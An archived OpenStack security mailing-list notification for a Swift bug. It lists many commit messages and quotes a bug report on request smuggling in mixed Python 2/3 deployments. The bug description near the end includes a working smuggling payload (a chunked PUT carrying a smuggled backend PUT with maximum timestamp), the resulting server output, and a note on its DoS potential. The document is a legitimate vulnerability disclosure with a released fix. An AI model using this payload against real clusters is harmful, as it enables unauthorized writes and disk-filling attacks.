osdir.com


[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Openstack-security] [Bug 1840507] Re: Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster


Reviewed:  https://review.opendev.org/686864
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=bfa8e9feb51f2b10adfec3a741661a76fcf73216
Submitter: Zuul
Branch:    feature/losf

commit cb76e00e90aea834c8f3dd8a6ca5131acd43663b
Author: OpenStack Proposal Bot <openstack-infra at lists.openstack.org>
Date:   Fri Oct 4 07:05:07 2019 +0000

    Imported Translations from Zanata
    
    For more information about this automatic import see:
    https://docs.openstack.org/i18n/latest/reviewing-translation-import.html
    
    Change-Id: I40ce1d36f1c207a0d3e99a3a84a162b21b3c57cf

commit 527a57ffcdefc03a5080b07d63f0ded319e08dfe
Author: OpenStack Release Bot <infra-root at openstack.org>
Date:   Thu Oct 3 16:35:36 2019 +0000

    Update master for stable/train
    
    Add file to the reno documentation build to show release notes for
    stable/train.
    
    Use pbr instruction to increment the minor version number
    automatically so that master versions are higher than the versions on
    stable/train.
    
    Change-Id: Ia93e0b690f47c6231423a25dfd6a108a60378a21
    Sem-Ver: feature

commit 8a4becb12fbe3d4988ddee73536673d6f55682dd
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Sep 27 15:18:59 2019 -0700

    Authors/changelog for 2.23.0
    
    Also, make some CHANGELOG formatting more consistent.
    
    Change-Id: I380ee50e075a8676590e755f24a3fd7a7a331029

commit bf9346d88de2aeb06da3b2cde62ffa6200936367
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Aug 15 14:33:06 2019 -0700

    Fix some request-smuggling vectors on py3
    
    A Python 3 bug causes us to abort header parsing in some cases. We
    mostly worked around that in the related change, but that was *after*
    eventlet used the parsed headers to determine things like message
    framing. As a result, a client sending a malformed request (for example,
    sending both Content-Length *and* Transfer-Encoding: chunked headers)
    might have that request parsed properly and authorized by a proxy-server
    running Python 2, but the proxy-to-backend request could get misparsed
    if the backend is running Python 3. As a result, the single client
    request could be interpretted as multiple requests by an object server,
    only the first of which was properly authorized at the proxy.
    
    Now, after we find and parse additional headers that weren't parsed by
    Python, fix up eventlet's wsgi.input to reflect the message framing we
    expect given the complete set of headers. As an added precaution, if the
    client included Transfer-Encoding: chunked *and* a Content-Length,
    ensure that the Content-Length is not forwarded to the backend.
    
    Change-Id: I70c125df70b2a703de44662adc66f740cc79c7a9
    Related-Change: I0f03c211f35a9a49e047a5718a9907b515ca88d7
    Closes-Bug: 1840507

commit 0217b12b6d7d6f3727a54db65614ff1ef52d6286
Author: Matthew Oliver <matt at oliver.net.au>
Date:   Wed Sep 4 14:30:33 2019 +1000

    PDF Documentation Build tox target
    
    This patch adds a `pdf-docs` tox target that will build
    PDF versions of our docs. As per the Train community goal:
    
      https://governance.openstack.org/tc/goals/selected/train/pdf-doc-generation.html
    
    Add sphinxcontrib-svg2pdfconverter to doc/requirements.txt
    to convert our SVGs.
    
    Story: 2006122
    Task: 35515
    Change-Id: I26cefda80d3234df68d7152b404e0a71da74ab90

commit be41721888913320bd448b8aaa4539f3ac6d4e7c
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Sep 27 16:18:00 2019 -0700

    Add experimental job to test upgrades from stein
    
    Also, correct the version that we check out when upgrading from stable
    branches.
    
    Change-Id: Ie733bc50466c66d6e6eb5c6bd42e42a05ef88798

commit 9a33365f064c2fbde732780982e3d324b488e677
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Sep 27 11:04:43 2019 -0700

    py3: Allow percentages in configs
    
    Previously, configs like
    
        fallocate_reserve = 1%
    
    would cause a py3 backend server to fail to start, complaining like
    
        configparser.InterpolationSyntaxError: Error in file
        /etc/swift/object-server/1.conf.d: '%' must be followed
        by '%' or '(', found: '%'
    
    This could also come up in proxy-server configs, with things like
    percent signs in tempauth password.
    
    In general, we haven't really thought much about interpolation in
    configs. Python's default ConfigParser has always supported it, though,
    so we got it "for free". On py2, we didn't really have to think about
    it, since values like "1%" would pass through just fine. (It would blow
    up a SafeConfigParser, but a normal ConfigParser only does replacements
    when there's something like a "%(opt)s" in the value.)
    
    On py3, SafeConfigParser became ConfigParser, and the old interpolation
    mode (AFAICT) doesn't exist.
    
    Unfortunatley, since we "supported" interpolation, we have to assume
    there are deployments in the wild that use it, and try not to break
    them.  So, do what we can to mimic the py2 behavior.
    
    Change-Id: I0f9cecd11f00b522a8486972551cb30af151ce32
    Closes-Bug: #1844368

commit ad7f7da32d6f90aa49873f1021d18cd54daef102
Author: Tim Burke <tim.burke at gmail.com>
Date:   Mon Aug 5 14:51:14 2019 -0700

    py3: decode stdout from backgrounded servers
    
    Otherwise, when we go to print() it, we get a bunch of b"" strings.
    
    Change-Id: If62da0b4b34b9d1396b5838bf79ff494679f1ae3

commit e9cd9f74a5264f396783ca2a4548a3da7cee7bff
Author: Matthew Oliver <matt at oliver.net.au>
Date:   Mon Aug 12 16:16:17 2019 +1000

    sharder: Keep cleaving on empty shard ranges
    
    When a container is being cleaved there is a possiblity that we're
    dealing with an empty or near empty container created on a handoff node.
    These containers may have a valid list of shard ranges, so would need
    to cleave to the new shards.
    Currently, when using a `cleave_batch_size` that is smaller then the
    number of shard ranges on the cleaving container, these containers will
    have to take a few shard passes to shard, even though there maybe
    nothing in them.
    
    This is worse if a really large container is sharding, and due to being
    slow, error limitted a node causing a new container on a handoff
    location. This empty container would have a large number of shard ranges
    and could take a _very_ long time to shard away, slowing the process
    down.
    
    This patch eliminates the issue by detecting when no objects are
    returned for a shard range. The `_cleave_shard_range` method now
    returns 3 possible results:
    
      - CLEAVE_SUCCESS
      - CLEAVE_FAILED
      - CLEAVE_EMPTY
    
    They all are pretty self explanitory. When `CLEAVE_EMPTY` is returned
    the code will:
    
      - Log
      - Not replicate the empty temp shard container sitting in a
        handoff location
      - Not count the shard range in the `cleave_batch_size` count
      - Update the cleaving context so sharding can move forward
    
    If there already is a shard range DB existing on a handoff node to use
    then the sharder wont skip it, even if there are no objects, it'll
    replicate it and treat it as normal, including using a `cleave_batch_size`
    slot.
    
    Change-Id: Id338f6c3187f93454bcdf025a32a073284a4a159
    Closes-Bug: #1839355

commit f56071e57392573b7aea014bba6757a01a8a59ad
Author: Clay Gerrard <clay.gerrard at gmail.com>
Date:   Wed Sep 25 15:58:50 2019 -0500

    Make sharding methods with only one job
    
    Change-Id: Id1e9a9ee316517923907bf0593e851448528c75c

commit 50255de0e3def868e958bfdf4aea9f4cc606e744
Author: Tim Burke <tim.burke at gmail.com>
Date:   Mon Sep 23 16:21:36 2019 -0700

    func tests: Add more UTF8 tests for versioning
    
    Change-Id: I7ac111bd8b57bd21c37f4c567a20e2c12957b2ff

commit 6271d88f9ed5e98f989a6739a75b268537fe0521
Author: Thiago da Silva <thiagodasilva at gmail.com>
Date:   Fri Aug 23 19:14:37 2019 +0200

    Add func test for changing versionining modes
    
    Users are able to change versioning in a container
    from X-Versions-Location to X-History-Location, which affects
    how DELETEs are handled. We have some unit tests that check this
    behavior, but no functional tests.
    
    This patch adds a functional test that helps us understand and
    document how changing modes affects the handling of DELETE
    requests.
    
    Change-Id: I5dbe5bdca17e624963cb3a3daba3b240cbb4bec4

commit 9495bc0003817805750dd78f3d93dd1a237f1553
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Sep 19 16:52:41 2019 -0700

    sharding: Update probe test to verify CleavingContext cleanup
    
    Change-Id: I219bbbfd6a3c7adcaf73f3ee14d71aadd183633b
    Related-Change: I1e502c328be16fca5f1cca2186b27a0545fecc16

commit 370ac4cd70489a49b2b6408638c9b35006f57053
Author: Matthew Oliver <matt at oliver.net.au>
Date:   Sat Sep 21 16:06:24 2019 +1000

    Sharding: Use the metadata timestamp as last_modified
    
    This is a follow up patch from the cleaning up cleave context's patch
    (patch 681970). Instead of tracking a last_modified timestamp, and storing
    it in the context metadata, use the timestamp we use when storing any
    metadata.
    
    Reducing duplication is nice, but there's a more significant reason to
    do this: affected container DBs can start getting cleaned up as soon as
    they're running the new code rather than needing to wait for an
    additional reclaim_age.
    
    Change-Id: I2cdbe11f06ffb5574e573c4a60ba4e5d41a00c50

commit 291873e784aeac30c2adcaaaca6ab43c2393b289
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Aug 15 14:33:06 2019 -0700

    proxy: Don't trust Content-Length for chunked transfers
    
    Previously we'd
    - complain that a client disconnected even though they finished their
      chunked transfer just fine, and
    - on EC, send a X-Backend-Obj-Content-Length for pre-allocation even
      though Content-Length doesn't determine request body size.
    
    Change-Id: Ia80e595f713695cbb41dab575963f2cb9bebfa09
    Related-Bug: 1840507

commit 81a41da5420313f9cdb9c759bbb0f46c0d20c5af
Author: Matthew Oliver <matt at oliver.net.au>
Date:   Fri Sep 13 16:16:06 2019 +1000

    Sharding: Clean up old CleaveConext's during audit
    
    There is a sharding edge case where more CleaveContext are generated and
    stored in the sharding container DB. If this number get's high enough,
    like in the linked bug. If enough CleaveContects build up in the DB then
    this can lead to the 503's when attempting to list the container due to
    all the `X-Container-Sysmeta-Shard-Context-*` headers.
    
    This patch resolves this by tracking the a CleaveContext's last
    modified. And during the sharding audit, any context's that hasn't been
    touched after reclaim_age are deleted.
    
    This plus the skip empty ranges patches should improve these handoff
    shards.
    
    Change-Id: I1e502c328be16fca5f1cca2186b27a0545fecc16
    Closes-Bug: #1843313

commit 20fc16e8daa184ebadab9f49e0f76e7687a8cebd
Author: Thiago da Silva <thiagodasilva at gmail.com>
Date:   Tue Sep 17 18:57:35 2019 +0200

    Close leaking opened requests
    
    Change-Id: I3d96022c01834c85e9795ea41d18b17624a33a19
    Co-Authored-By: Tim Burke <tim.burke at gmail.com>

commit 9698b1bb957c1f646ac30fb64ec3528627fcee1c
Author: Thiago da Silva <thiagodasilva at gmail.com>
Date:   Tue Sep 17 16:52:55 2019 +0200

    Skip test when object versioning is not enabled
    
    Change-Id: I671a6e4a3d1011dbbc2267b44134cfaf3380fb22

commit 75c9c636f2c637b0f36c705957f2204de6e405d0
Author: Ghanshyam Mann <gmann at ghanshyammann.com>
Date:   Tue Sep 17 04:47:45 2019 +0000

    [train][goal] Run 'tempest-ipv6-only' job in gate
    
    As part of Train community goal 'Support IPv6-Only Deployments and Testing'[1],
    Tempest has defined the new job 'tempest-ipv6-only'(adding
    in Depends-On patch) which will deploy services on IPv6 and run smoke
    tests and IPv6 related tests present in Tempest.
    
    This job will be part of Nova, Neutron, Cinder, Keystone, Glance, Swift
    gate.
    
    Verification structure will be:
    - 'devstack-IPv6' deploy the service on IPv6
    - 'devstack-tempest-ipv6' run will verify the IPv6-only setting and listen address
    - 'tempest-ipv6-only' will run the smoke + IPv6 related test case.
    
    This commit adds the new job 'tempest-ipv6-only' run on gate.
    
    Story: #2005477
    Task: #35932
    
    [1] https://governance.openstack.org/tc/goals/train/ipv6-support-and-testing.html
    
    Change-Id: I78be2ee5a7f1e5d3188ece98d7d8324f1c9bd0e3

commit b4288b4aa6e6be2222f5f0e9ca8360c07040d5c0
Author: Nguyen Quoc Viet <nguyenqviet98 at gmail.com>
Date:   Thu Sep 12 11:31:42 2019 +0700

    versioned_writes: checks for SLO object before copy
    
    Previously, versioned_writes middleware copy an already existing
    object using PUT. However, SLO requires the additional query
    to properly update the object size when listing.
    
    Propose fix: In _put_versioned_obj - which is called when on
    creating version obj and also on restoring obj,
    if 'X-Object-Sysmeta-Slo-Size' header is present it will
    add needed headers for container to update obj size
    
    Added a new functional test case with size assertion for slo
    
    Change-Id: I47e0663e67daea8f1cf4eaf3c47e7c8429fd81bc
    Closes-Bug: #1840322

commit db8b0b6bc46a67b03af415d4e5e1429cc7d73bba
Author: Clay Gerrard <clay.gerrard at gmail.com>
Date:   Fri May 10 13:15:42 2019 -0500

    Make ceph tests more portable
    
    Change-Id: If93325f2651a02f98f9d480c10bf7b849cc9617e

commit 3960df983b68cd5baa84cac9a4d0b61f08737c09
Author: Andreas Jaeger <aj at suse.com>
Date:   Fri Sep 13 09:38:22 2019 +0200

    Remove unneeded Zuul branch matcher
    
    We have implicit branch matchers, so there's no need to add a check
    for not-ocata etc, a job is only run for the branch it's on - like
    master now.
    
    Remove it to not confuse Zuul when multiple branches matches and the job
    definition is different.
    
    Change-Id: I6a346c9141aad1aa8a7393c899d5571057073e7a

commit 49f62f6ab7fd1b833e9b5bfbcaafa4b45b592d34
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Sep 12 10:59:08 2019 -0700

    bufferedhttp: ensure query params are properly quoted
    
    Recent versions of py27 [1] have begun raising InvalidURL if you try to
    include non-ASCII characters in the request path. This was observed
    recently in the periodic checks of stable/ocata and stable/pike. In
    particular, we would spin up some in-process servers in
    test.unit.proxy.test_server.TestSocketObjectVersions and do a container
    listing with a prefix param that included raw (unquoted) UTF-8. This
    query string would pass unmolested through the proxy, tripping the
    InvalidURL error when bufferedhttp called putrequest.
    
    More recent versions of Swift would not exhibit this particular failure,
    as the listing_formats middleware would force a decoding/re-encoding of
    the query string for account and container requests. However, object
    requests with errant query strings would likely be able to trip the same
    error.
    
    Swift on py3 should not exhibit this behavior, as we so
    thoroughly re-write the request line to avoid hitting
    https://bugs.python.org/issue33973.
    
    Now, always parse and re-encode the query string in bufferedhttp. This
    prevents any errors on object requests and cleans up any callers that
    might use bufferedhttp directly.
    
    [1] Anything after https://github.com/python/cpython/commit/bb8071a;
        see https://bugs.python.org/issue30458
    
    Closes-Bug: 1843816
    Change-Id: I73f84b96f164e6fc5d3cb890355871c26ed271a6
    Related-Change: Id3ce37aa0402e2d8dd5784ce329d7cb4fbaf700d
    Related-Change: Ie648f5c04d4415f3b620fb196fa567ce7575d522

commit 1ded0d6c8793ca3eca573c098cef78b5ae41f080
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Oct 11 15:23:39 2018 -0700

    Allow arbitrary UTF-8 strings as delimiters in listings
    
    AWS seems to support this, so let's allow s3api to do it, too.
    
    Previously, S3 clients trying to use multi-character delimiters would
    get 500s back, because s3api didn't know how to handle the 412s that the
    container server would send.
    
    As long as we're adding support for container listings, may as well do
    it for accounts, too.
    
    Change-Id: I62032ddd50a3493b8b99a40fb48d840ac763d0e7
    Co-Authored-By: Thiago da Silva <thiagodasilva at gmail.com>
    Closes-Bug: #1797305

commit 4cafc3d656098d13c46cd83d94b44c8801c5eb2b
Author: CY Chiang <cychiang at cht.com.tw>
Date:   Thu Sep 5 16:09:23 2019 +0800

    doc: Fix the swift middleware doc needs more info  to set s3 api
    
    Modify the AWS S3 Api section in middleware document.
    Add how to create ec2 credential and minimun configuration to use
    s3 api.
    
    Change-Id: Id4d614d8297662f16403fdfe526e14714a21249d
    Closes-Bug: #1842884

commit 1d7e1558b3b422073918b89df21f703215bd1e33
Author: Tim Burke <tim.burke at gmail.com>
Date:   Tue Jul 16 17:01:19 2019 -0700

    py3: (mostly) port probe tests
    
    There's still one problem, though: since swiftclient on py3 doesn't
    support non-ASCII characters in metadata names, none of the tests in
    TestReconstructorRebuildUTF8 will pass.
    
    Change-Id: I4ec879ade534e09c3a625414d8aa1f16fd600fa4

commit c71bb2506310438b011818a44449daea500863fd
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Aug 30 21:40:03 2019 -0700

    diskfile: Add some argument validation
    
    Either all or none of account, container, and object should be provided.
    If we get some but not all, that's indicating some kind of a coding bug;
    there's a chance it may be benign, but it seems safer to fail early and
    loudly.
    
    Change-Id: Ia9a0ac28bde4b5dcbf6e979c131e61297577c120
    Related-Change: Ic2e29474505426dea77e178bf94d891f150d851b

commit e6e31410e093b426bfa5b9a2094be56c8406b6a2
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Aug 30 11:54:47 2019 -0700

    Find .d pid files with swift-orphans
    
    Change-Id: I7a2f19862817abf15e51463bd124293730451602

commit 3e4efb7aa4662a5f915caab5bef3de6dd17e3e19
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Aug 29 16:55:27 2019 -0700

    py3: Update Getting Started docs
    
    Change-Id: I94050c40585b397a9f7bab1e48650b89f70ab24d

commit 4d83b9b95e32038390dbdc66d93c36c929dbce2a
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Aug 15 14:33:06 2019 -0700

    tests/py3: Improve header casing
    
    Previously, our unit tests with socket servers would let eventlet
    capitalize headers on the way out, which
    
    - isn't something we want to have eventlet do, because it
    - breaks unicode-in-header-names on py3, so it
    - is already disabled in swift.common.wsgi.run_server() for real servers.
    
    Include a test to make sure we don't forget about it in the future.
    
    Change-Id: I0156d0059092ed414b296c65fb70fc18533b074a

commit a32fb30c16062ea64488e918077d635645e33e47
Author: OndÅ?ej Nový <ondrej.novy at firma.seznam.cz>
Date:   Mon Aug 20 10:11:15 2018 +0200

    Use SOURCE_DATE_EPOCH in docs to make build reproducible
    
    Set copyright year and html_last_updated_fmt to SOURCE_DATE_EPOCH if
    it's set. See https://reproducible-builds.org/specs/source-date-epoch/
    
    This patch make build reproducible, see https://reproducible-builds.org/
    
    Change-Id: I730a8265ca2c70c639ef77a613908e84eb738b70

commit 2545372055922abd681ef665f9040590d2f5806c
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Aug 16 20:37:10 2019 -0700

    py3: Switch swift-dsvm-functional-py3 to run tests under py3
    
    Now that all of the func tests are ported, we may as well run all-py3.
    
    Change-Id: Ib9f75ca9efb46dc4c7730ad2718228ec7777c924

commit 74db3670607d952e597011eb07676aedff521b41
Author: Tim Burke <tim.burke at gmail.com>
Date:   Wed Aug 7 16:16:57 2019 -0700

    py3: Finish porting func tests
    
    We were (indirectly) importing swiftclient (and therefore requests and
    urllib3) before doing our eventlet monkey-patching. This would lead
    boto3 (which digs an SSLContext out of urllib3) to trip RecursionErrors
    on py3 similar to
    
       >>> from ssl import SSLContext, PROTOCOL_SSLv23
       >>> import eventlet
       >>> eventlet.monkey_patch(socket=True)
       >>> SSLContext(PROTOCOL_SSLv23).options |= 0
       Traceback (most recent call last):
         File "<stdin>", line 1, in <module>
         File "/usr/lib/python3.6/ssl.py", line 465, in options
           super(SSLContext, SSLContext).options.__set__(self, value)
         File "/usr/lib/python3.6/ssl.py", line 465, in options
           super(SSLContext, SSLContext).options.__set__(self, value)
         File "/usr/lib/python3.6/ssl.py", line 465, in options
           super(SSLContext, SSLContext).options.__set__(self, value)
         [Previous line repeated 330 more times]
       RecursionError: maximum recursion depth exceeded while calling a Python object
    
    Change-Id: I4bb59edd87336597791416c4f2a096efe0e72fe3

commit 3750285bc863f8b6b56ba9526b028ee9cddcf04b
Author: Tim Burke <tim.burke at gmail.com>
Date:   Tue Jul 16 16:24:14 2019 -0700

    py3: fix up listings on sharded containers
    
    We were playing a little fast & loose with types before; as a result,
    marker/end_marker weren't quite working right. In particular, we were
    checking whether a WSGI string was contained in a shard range, while
    ShardRange assumes all comparisons are against native strings.
    
    Now, get everything to native strings before making comparisons, and
    get them back to wsgi when we shove them in the params dict.
    
    Change-Id: Iddf9e089ef95dc709ab76dc58952a776246991fd

commit a48dd1950d2999cb7fdc2856a827da4780715b1e
Author: Tim Burke <tim.burke at gmail.com>
Date:   Mon Aug 5 14:48:54 2019 -0700

    Allow non-default domain to be used in func tests
    
    Change-Id: I7afa7e367103bb9caaf74788a49cd055eca53cf6

commit f1b44b199a064c3715c4b0e1e4067ec8235cf18d
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Mar 29 13:54:30 2019 -0700

    s3api: paginate listings when aborting MPUs
    
    Even when your cluster's configured funny, like your
    container_listing_limit is too low, or your max_manifest_segments and
    max_upload_part_num are too high, an abort should (attempt to) clean up
    *all* segments.
    
    Change-Id: I5a57f919cc74ddb08bbb35a7d852fbc1457185e8

commit c0035ed82e52756c9c04097fabba561a86da200a
Author: CY Chiang <cychiang at cht.com.tw>
Date:   Tue Jul 30 11:42:45 2019 +0800

    Update the bandit.yaml available tests list
    
    According to the bandit current version document,
    the B109 and B111 plugin has been removed.
    And Add the following tests:
    Complete Test Plugin Listing: B507, B610, B611, B703
    Blacklist Plugins Listing: B322, B323, B325, B413, B414
    Reference URL: https://bandit.readthedocs.io/en/latest/plugins/index.html
    
    Change-Id: I5e9365f9147776d7d90c6ba889acbde3c0e6c19d
    Closes-Bug: #1838361

commit 6853616aeaa7a6b14fd1ae99a507ab1761d16609
Author: Tim Burke <tim.burke at gmail.com>
Date:   Fri Jul 12 15:17:34 2019 -0700

    ring: Track more properties of the ring
    
    Plumb the version from the ringbuilder through to the metadata at the
    start of the ring. Recover this (if available) when running
    
        swift-ring-builder <ring> write_builder
    
    When we load the ring, track the count and MD5 of the bytes off disk, as
    well as the number of uncompressed bytes.
    
    Expose all this new information as properties on the Ring, along with
    
      - device_count (number of non-None entries in self._devs),
      - weighted_device_count (number of devices that have weight), and
      - assigned_device_count (number of devices that actually have
        partition assignments).
    
    Co-Authored-By: Matthew Oliver <matt at oliver.net.au>
    Change-Id: I73deaf6f1d9c1d37630c37c02c597b8812592351

commit 0fec28ab155276d099d1d4c9fd377f3da539077b
Author: zhufl <zhu.fanglei at zte.com.cn>
Date:   Wed Jul 3 16:41:38 2019 +0800

    Fix invalid assert states
    
    This is to fix invalid assert states like:
        self.assertTrue('sync_point2: 5', lines.pop().strip())
        self.assertTrue('sync_point1: 5', lines.pop().strip())
        self.assertTrue('bytes: 1100', lines.pop().strip())
        self.assertTrue('deletes: 2', lines.pop().strip())
        self.assertTrue('puts: 3', lines.pop().strip())
        self.assertTrue('1', jobs_to_delete[0]['partition'])
    in which assertEqual should be used.
    
    Change-Id: Ide5af2ae68fae0e5d6eb5c233a24388bb9942144

commit 03512e001d95adadfea147e8a4051fce0aa9dfca
Author: pengyuesheng <pengyuesheng at gohighsec.com>
Date:   Wed Jul 3 15:06:31 2019 +0800

    Update the constraints url
    
    For more detail, see http://lists.openstack.org/pipermail/openstack-discuss/2019-May/006478.html
    
    Change-Id: I95114c4aa670c07491d5a15db2341f65cb0d1344

commit 5270da86e6eead273f58a24cba65b951550e3037
Author: pengyuesheng <pengyuesheng at gohighsec.com>
Date:   Tue Jul 2 10:59:28 2019 +0800

    Add python3 to setup.cfg
    
    Change-Id: I5dd57aad794c050c44e328c43346be0063170492

commit 4aa71aa25caed34f36fafe2de025425aa1d1e0b2
Author: Kota Tsuyuzaki <tsuyuzaki.kota at lab.ntt.co.jp>
Date:   Tue Oct 9 16:42:18 2018 -0700

    We don't have to keep the retrieved token anymore
    
    Since the change in s3_token_middleware to retrieve the auth info
    from keystone directly, now, we don't need to have any tokens provided
    by keystone in the request header as X-Auth-Token.
    
    Note that this makes the pipeline ordering change documented in the
    related changes mandatory, even when working with a v2 Keystone server.
    
    Change-Id: I7c251a758dfc1fedb3fb61e351de305b431afa79
    Related-Change: I21e38884a2aefbb94b76c76deccd815f01db7362
    Related-Change: Ic9af387b9192f285f0f486e7171eefb23968007e

commit eed76d8bed446518bff2ca4af18259f7637c430e
Author: arzhna <arzhna at gmail.com>
Date:   Wed Nov 28 11:15:05 2018 +0900

    Fix a potential bug
    
    In the class method from_hash_dir(), the arguments to input when creating an instance of the BaseDiskFile class are incorrect.
    The __init__() method of BaseDiskFile class receive the arguments in order of mgr, device_path, partition and etc.
    However, in from_hash_dir() method, the order of arguments are mgr, device_path, None and partition
    The class method from_hash_dir() is used by the Object Auditor.
    If the partition argument is used in the new DiskFile implementations, exception may occur.
    It will be cause object auditing to failed and the object will be quarantine by the Object Auditor.
    
    Closes-Bug: #1805539
    Change-Id: Ic2e29474505426dea77e178bf94d891f150d851b


** Tags added: in-feature-losf

** Bug watch added: Python Roundup #33973
   http://bugs.python.org/issue33973

** Bug watch added: Python Roundup #30458
   http://bugs.python.org/issue30458

-- 
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1840507

Title:
  Mixed py2/py3 environment allows authed users to write arbitrary data
  to the cluster

Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Object Storage (swift):
  Fix Released

Bug description:
  Python 3 doesn't parse headers the same way as python 2 [1]. We
  attempt to address this failing [2], but since we're doing it at the
  application level, eventlet can still get confused about what should
  and should not be the request body.

  Consider a client request like

    PUT /v1/AUTH_test/c/o HTTP/1.1
    Host: saio:8080
    Content-Length: 4
    Connection: close
    X-Object-Meta-x-ð??´: ð???
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Transfer-Encoding: chunked

    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1

    evil
    0

  A python 2 proxy-server will auth the user, add a bunch more headers,
  and send a request on to the object-servers like

    PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
    Accept-Encoding: identity
    Expect: 100-continue
    X-Container-Device: sdb2
    Content-Length: 4
    X-Object-Meta-X-ð??´: ð???
    Connection: close
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Content-Type: application/octet-stream
    X-Backend-Storage-Policy-Index: 1
    X-Timestamp: 1565985475.83685
    X-Container-Host: 127.0.0.1:6021
    X-Container-Partition: 61
    Host: saio:8080
    User-Agent: proxy-server 3752
    Referer: PUT http://saio:8080/v1/AUTH_test/c/o
    Transfer-Encoding: chunked
    X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
    X-Backend-Clean-Expiring-Object-Queue: f

  (Note that the exact order of the headers will vary but is
  significant; the above was obtained on my machine with
  PYTHONHASHSEED=1.)

  On a python 3 object-server, eventlet will only have seen the headers
  up to (and not including, though that doesn't really matter) the palm
  tree. Significantly, it sees `Content-Length: 4` (which, per the spec
  [3], the proxy-server ignored) and doesn't see either of `Connection:
  close` or `Transfer-Encoding: chunked`. The *application* gets all of
  the headers, though, so it responds

    HTTP/1.1 100 Continue

  and the proxy sends the body:

    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1

    evil
    0

  Since eventlet thinks the request body is only four bytes, swift
  writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
  `Connection: close` header, it looks for and processes more requests
  on the socket, and swift writes a second object:

    $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
    Path: /DUDE_u/r/pwned
      Account: DUDE_u
      Container: r
      Object: pwned
      Object hash: b05097e51f8700a3f5a29d93eb2941f2
    Content-Type: text/evil
    Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
    System Metadata:
      No metadata found
    Transient System Metadata:
      No metadata found
    User Metadata:
      No metadata found
    Other Metadata:
      No metadata found
    ETag: 4034a346ccee15292d823416f7510a2f (valid)
    Content-Length: 4 (valid)
    Partition	705
    Hash     	b05097e51f8700a3f5a29d93eb2941f2
    ...

  There are a few things worth noting at this point:

  1. This was for a replicated policy with encryption not enabled.
     Having encryption enabled would mitigate this as the attack
     payload would be encrypted; using an erasure-coded policy would
     complicate the attack, but I believe most EC schemes would still
     be vulnerable.
  2. An attacker would need to know (or be able to guess) a device
     name (such as "sdb1" above) used by one of the backend nodes.
  3. Swift doesn't know how to delete this data -- the X-Timestamp
     used was the maximum valid value, so no tombstone can be
     written over it [4].
  4. The account and container may not actually exist; it doesn't
     really matter as no container update is sent. As a result, the
     data written cannot easily be found or tracked.
  5. A small payload was used for the demonstration, but it should
     be fairly trivial to craft a larger one; this has potential as
     a DOS attack on a cluster by filling its disks.

  The fix should involve at least things: First, after re-parsing
  headers, servers should make appropriate adjustments to
  environ['wsgi.input'] to ensure that it has all relevant information
  about the request body. Second, the proxy should not include a
  Content-Length header when sending a chunk-encoded request to the
  backend.

  [1] https://bugs.python.org/issue37093
  [2] https://github.com/openstack/swift/commit/76fde8926
  [3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
  [4] https://github.com/openstack/swift/commit/f581fccf7

To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1840507/+subscriptions